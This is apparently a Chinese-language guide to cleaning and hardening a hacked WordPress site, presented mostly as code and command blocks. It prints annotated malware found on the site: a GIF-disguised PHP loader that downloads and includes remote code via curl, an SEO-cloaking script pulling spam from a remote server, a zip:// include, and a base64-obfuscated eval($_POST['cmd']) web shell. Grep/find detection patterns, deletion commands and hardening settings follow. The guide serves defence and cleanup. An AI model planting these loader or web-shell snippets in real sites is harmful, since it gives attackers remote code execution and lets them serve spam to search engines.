WordPress 被黑后的完整清理与加固指南

// 1. 伪装文件头
GIF89a  // 伪装成 GIF 图片，绕过上传检查

// 2. 关闭错误显示，隐藏踪迹
@ini_set('display_errors', '0');
@ini_set('log_errors', '1');

// 3. 定义系统命令执行函数
function ex($coman, $serlok) {
    $pr = "proc_open";  // 使用 proc_open 执行命令
    $tod = @$pr($coman, ...);  // 执行并捕获输出
}

// 4. 下载远程恶意代码
$fname = "sess_" . md5("nax") . ".php";
if (!file_exists("/tmp/$fname") || filesize("/tmp/$fname") < 10) {
    // 从远程服务器下载 PHP 代码
    ex("curl --output /tmp/$fname https://[恶意域名]/malicious.txt", "/tmp");
}

// 5. 执行远程代码
include("/tmp/$fname");  // 直接执行下载的代码

// 1. 远程控制服务器
$remote_server = 'http://[恶意域名]/seo/';

// 2. 检测搜索引擎爬虫
$search_engines = "Google|aol|Yahoo|Bing|DuckDuckGo";
if(preg_match("/($search_engines)/i", $_SERVER['HTTP_USER_AGENT'])) {

    // 3. 收集访问者信息
    $data = "?agent=" . urlencode($_SERVER['HTTP_USER_AGENT'])
          . "&refer=" . urlencode($_SERVER['HTTP_REFERER'])
          . "&uri=" . urlencode($_SERVER['REQUEST_URI']);

    // 4. 从远程服务器获取虚假内容
    $fake_content = @file_get_contents($remote_server . $data);

    // 5. 返回虚假内容给搜索引擎
    echo $fake_content;
    exit();
}

// 6. 正常用户看到的是正常 WordPress 网站
require __DIR__ . '/wp-blog-header.php';

// wen.php 内容
<?php
// 使用 ZIP wrapper 执行压缩包中的代码
include("zip://wen#wen");
?>

# 检查是否有 ZIP 格式的文件（无扩展名）
file * | grep "Zip archive"

# 查找使用 zip:// wrapper 的代码
grep -r "zip://" /path/to/wordpress --include="*.php"

# 删除 ZIP 文件和执行脚本
rm -f wen wen.php

# 检查是否有其他类似文件
find . -type f -exec file {} \; | grep "Zip archive" | grep -v "\.zip$"

wp-includes/IXR/crystal/
wp-includes/html-api/mantle-framework/
wp-includes/php-compat/dist/
wp-includes/blocks/archives/sbb/
wp-admin/maint/light/
wp-admin/css/colors/sunrise/.private/
wp-admin/css/colors/debug/
wp-admin/user/sunrise/

# 查找异常目录（WordPress 核心不应有这些目录）
find wp-includes -type d -name "crystal" -o -name "sbb" -o -name "maint"
find wp-admin -type d -name "debug" -o -name "sunrise" -o -name ".private"

# 查找深层目录中的 PHP 文件
find wp-includes -mindepth 3 -name "*.php" -type f
find wp-admin/css -name "*.php" -type f

# 检查是否有大量 .htaccess 文件
find . -name ".htaccess" | wc -l

# 删除已确认的恶意目录（谨慎操作！）
rm -rf wp-includes/IXR/crystal/
rm -rf wp-includes/html-api/mantle-framework/
rm -rf wp-admin/maint/
rm -rf wp-admin/css/colors/sunrise/.private/

# 删除所有深层 .htaccess（保留根目录和 wp-admin）
find wp-includes -name ".htaccess" -delete
find wp-admin/css -name ".htaccess" -delete
find wp-admin/js -name ".htaccess" -delete

// 包含 base64 编码的混淆代码
$____ = "base64_decode";
$_____ = $____("ZXZhbCgkX1BPU1RbJ2NtZCddKTs="); // eval($_POST['cmd']);
$______________ = $_POST;

// 注释声称"恶意代码已移除"，但实际仍在执行
/* Malicious code removed by security team */
// 这是典型的欺骗性注释！

# 查找最近 30 天修改的 PHP 文件
find /path/to/wordpress -name "*.php" -mtime -30 -type f

# 查找包含 eval、base64_decode 的文件
grep -r "eval(" /path/to/wordpress --include="*.php"
grep -r "base64_decode" /path/to/wordpress --include="*.php"

# 查找文件名拼写错误的文件
find /path/to/wordpress -name "*amdin*"
find /path/to/wordpress -name "*wp-good*"

# 查找隐藏文件和目录
find /path/to/wordpress -name ".*" -type f

# 使用 WP-CLI 验证核心文件
wp core verify-checksums

# 检查文件大小异常
ls -lah wp-admin/*.php | sort -k5 -h

# 进入网站根目录
cd /path/to/wordpress

# 删除确认的恶意文件
rm -f wp-admin/mediia.php
rm -f wp-admin/wp-amdin.php
rm -f wp-admin/wp-edeiteorxr.php
rm -f wp-admin/wp-good.php
rm -f wp-good.php
rm -f wp-chat.php
rm -f cord.php
rm -f index.gz

# 删除 /tmp 目录下的恶意缓存
rm -f /tmp/sess_*.php

<?php
/**
 * Front to the WordPress application.
 *
 * @package WordPress
 */

/** Tells WordPress to load the WordPress theme and output it. */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';

// 错误: 第 93 行拼写错误
ndefine('DB_NAME', 'database_name');  // ❌ ndefine 应该是 define

// 正确写法
define('DB_NAME', 'database_name');   // ✅

# 1. 检查语法错误
php -l wp-config.php

# 2. 如果提示语法错误，编辑文件
nano wp-config.php

# 3. 查找并修复以下常见错误：
# - ndefine → define
# - 缺失的分号
# - 引号不匹配
# - 多余的空格或不可见字符

# 4. 再次验证
php -l wp-config.php

# 访问网站首页
curl -I https://example.com

# 应该返回 HTTP 200 而不是 500

-- 查看所有管理员账号（包含创建时间）
SELECT
    ID,
    user_login,
    user_email,
    user_registered,
    display_name
FROM wp_users
WHERE ID IN (
    SELECT user_id FROM wp_usermeta
    WHERE meta_key = 'wp_capabilities'
    AND meta_value LIKE '%administrator%'
)
ORDER BY user_registered DESC;

-- 示例 1: 创建时间与攻击同日
用户名: hacker_account
邮箱: [email protected]
创建时间: 2025-12-15 06:21:32  <- 与恶意文件同日期
角色: administrator

-- 示例 2: 可疑邮箱
用户名: admin_backup
邮箱: 403048439@qq.com  <- QQ 邮箱
创建时间: 2025-06-27
角色: administrator

# 列出所有管理员
wp user list --role=administrator --allow-root

# 删除可疑账号（将其文章重新分配给 ID=1 的用户）
wp user delete 2 --reassign=1 --yes --allow-root

# 批量检查用户邮箱
wp user list --fields=ID,user_login,user_email,user_registered --allow-root

-- 检查文章是否被注入恶意代码
SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content LIKE '%<script%'
   OR post_content LIKE '%eval(%'
   OR post_content LIKE '%base64%'
   OR post_content LIKE '%<iframe%';

-- 清理被注入的内容（需要逐条检查）
UPDATE wp_posts
SET post_content = REPLACE(post_content, '恶意代码片段', '')
WHERE ID = 123;

-- 检查可疑的 siteurl 和 home 设置
SELECT * FROM wp_options
WHERE option_name IN ('siteurl', 'home', 'admin_email');

-- 检查可疑的自动加载选项
SELECT * FROM wp_options
WHERE autoload = 'yes'
AND option_value LIKE '%http%';

# 检查主题文件最近修改
find wp-content/themes -name "*.php" -mtime -30

# 检查 functions.php 是否被注入
cat wp-content/themes/your-theme/functions.php | head -20
cat wp-content/themes/your-theme/functions.php | tail -20

# 列出所有插件
ls -la wp-content/plugins/

# 删除未使用的插件
rm -rf wp-content/plugins/unused-plugin/

# 查找上传目录中的 PHP 文件（不应该存在）
find wp-content/uploads -name "*.php"

# 删除上传目录中的所有 PHP 文件
find wp-content/uploads -name "*.php" -delete

# WordPress 管理员密码（使用强密码生成器）
# 建议长度: 16+ 字符，包含大小写、数字、特殊符号

# 数据库密码（修改 wp-config.php）
define('DB_PASSWORD', '新的强密码');

# FTP/SSH 密码（联系主机商修改）

# Hosting 控制面板密码

<?php
$upgrading = time();

# 完整备份（包括恶意文件，供后续分析）
tar -czf backup-hacked-$(date +%Y%m%d).tar.gz /path/to/wordpress

# 数据库备份
mysqldump -u username -p database_name > backup-$(date +%Y%m%d).sql

# 使用 WP-CLI 批量更新
wp core update
wp plugin update --all
wp theme update --all

# 设置正确的目录权限
find /path/to/wordpress -type d -exec chmod 755 {} \;

# 设置正确的文件权限
find /path/to/wordpress -type f -exec chmod 644 {} \;

# wp-config.php 特别保护
chmod 600 wp-config.php

# 禁止上传目录执行 PHP
echo "php_flag engine off" > wp-content/uploads/.htaccess

// 禁用主题和插件编辑器
define('DISALLOW_FILE_EDIT', true);

// 禁用插件和主题安装（可选）
define('DISALLOW_FILE_MODS', true);

# .htaccess (放在网站根目录)
<Files wp-login.php>
    Order Deny,Allow
    Deny from all
    Allow from 你的IP地址
    Allow from 办公室IP
</Files>

# 也可以保护整个 wp-admin 目录
# <Directory "/var/www/html/wp-admin">
#     Order Deny,Allow
#     Deny from all
#     Allow from 你的IP地址
# </Directory>

// functions.php
add_filter('xmlrpc_enabled', '__return_false');

<Files xmlrpc.php>
    Order Deny,Allow
    Deny from all
</Files>

// functions.php
// 删除 HTML 头部的版本号
remove_action('wp_head', 'wp_generator');

// 删除 RSS feed 中的版本号
add_filter('the_generator', '__return_empty_string');

Options -Indexes

# 查看访问日志中的 wp-admin 访问
grep "wp-admin" /var/log/apache2/access.log

# 查看 POST 请求（可能是暴力破解）
grep "POST.*wp-login" /var/log/apache2/access.log

# 查找可疑的 User-Agent
grep -i "bot\|crawler\|scanner" /var/log/apache2/access.log

// 启用核心自动更新
define('WP_AUTO_UPDATE_CORE', true);

// 启用所有插件自动更新（WordPress 5.5+）
add_filter('auto_update_plugin', '__return_true');

// 启用所有主题自动更新
add_filter('auto_update_theme', '__return_true');